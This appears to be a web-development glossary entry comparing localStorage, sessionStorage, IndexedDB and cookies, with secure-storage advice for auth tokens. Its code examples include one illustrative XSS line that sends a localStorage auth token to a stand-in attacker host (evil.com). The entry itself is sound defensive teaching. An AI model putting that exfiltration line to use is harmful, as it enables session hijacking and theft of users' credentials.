Web Storage, IndexedDB & Cookies

Also Known As

TL;DR

Explanation

localStorage: synchronous, 5-10MB, persists across sessions, same origin. sessionStorage: same API, cleared when tab closes. IndexedDB: async, structured data, hundreds of MB, queryable with indexes — use for offline apps and large datasets. Cookies: sent with every HTTP request (session management, server-readable), max 4KB, path/domain scoping, HttpOnly/SameSite flags. Web Storage and IndexedDB are never sent to the server. Cookies with HttpOnly prevent JavaScript access (XSS mitigation). Never store sensitive data (tokens, PII) in localStorage — vulnerable to XSS.

Common Misconception

Why It Matters

Common Mistakes

• Storing auth tokens in localStorage — XSS vulnerable; use HttpOnly cookies.
• Synchronous localStorage in performance-critical loops — localStorage reads/writes are synchronous and block the main thread.
• Not handling QuotaExceededError — localStorage throws when full; catch the error.
• Sensitive data in sessionStorage — also readable by JavaScript; same XSS risk as localStorage.

Code Examples

// Auth token in localStorage — XSS can steal it:
localStorage.setItem('auth_token', response.token);

// Every fetch:
fetch('/api/data', {
    headers: { Authorization: 'Bearer ' + localStorage.getItem('auth_token') }
});
// Attacker XSS: fetch('https://evil.com/?t=' + localStorage.getItem('auth_token'))

// Auth token in HttpOnly cookie — JS cannot read it:
// Server sets on login:
Set-Cookie: auth_token=...; HttpOnly; Secure; SameSite=Strict; Path=/

// Browser sends automatically, JS cannot access:
fetch('/api/data', { credentials: 'include' }); // Cookie sent automatically
// Attacker XSS cannot read the cookie — HttpOnly blocks it

// localStorage for non-sensitive UI state only:
localStorage.setItem('theme', 'dark'); // Fine — not sensitive

References

• ↗ https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API

Tags

Related Terms